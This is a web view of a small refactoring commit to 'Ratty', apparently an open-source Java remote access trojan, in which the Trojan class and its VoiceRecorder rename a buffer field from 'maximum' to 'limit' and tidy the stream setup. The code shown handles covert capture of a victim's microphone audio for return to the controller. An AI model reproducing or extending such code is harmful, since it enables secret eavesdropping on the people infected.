Browse Source

Minor changes

Cleanups
master
Sogomn 9 years ago
parent
commit
2f563ecae2
  1. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  2. 14
      Ratty/src/de/sogomn/rat/VoiceRecorder.java

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -17,7 +17,7 @@ public final class Trojan implements IClientObserver {
final VoiceRecorder recorder = new VoiceRecorder(); final VoiceRecorder recorder = new VoiceRecorder();
final VoicePacket voice = (VoicePacket)packet; final VoicePacket voice = (VoicePacket)packet;
recorder.setMaximum(MICROPHONE_BUFFER_SIZE);
recorder.setLimit(MICROPHONE_BUFFER_SIZE);
recorder.addListener((source, data) -> { recorder.addListener((source, data) -> {
voice.setData(data); voice.setData(data);

14
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -15,14 +15,12 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
private TargetDataLine line; private TargetDataLine line;
private Thread thread; private Thread thread;
private int maximum;
private int limit;
private static final int BUFFER_SIZE = 1024; private static final int BUFFER_SIZE = 1024;
public VoiceRecorder(final int maximum) { public VoiceRecorder(final int maximum) {
this.maximum = maximum;
out = new ByteArrayOutputStream();
this.limit = maximum;
} }
public VoiceRecorder() { public VoiceRecorder() {
@ -50,7 +48,7 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
public void start() { public void start() {
final Runnable runnable = () -> { final Runnable runnable = () -> {
while (out.size() < maximum) {
while (out.size() < limit) {
captureAudio(); captureAudio();
} }
@ -62,10 +60,10 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
}; };
try { try {
out = new ByteArrayOutputStream();
line = AudioSystem.getTargetDataLine(null); line = AudioSystem.getTargetDataLine(null);
thread = new Thread(runnable); thread = new Thread(runnable);
out.reset();
line.open(); line.open();
line.start(); line.start();
thread.start(); thread.start();
@ -87,8 +85,8 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
} }
} }
public void setMaximum(final int maximum) {
this.maximum = maximum;
public void setLimit(final int limit) {
this.limit = limit;
} }
} }
Loading…
Cancel
Save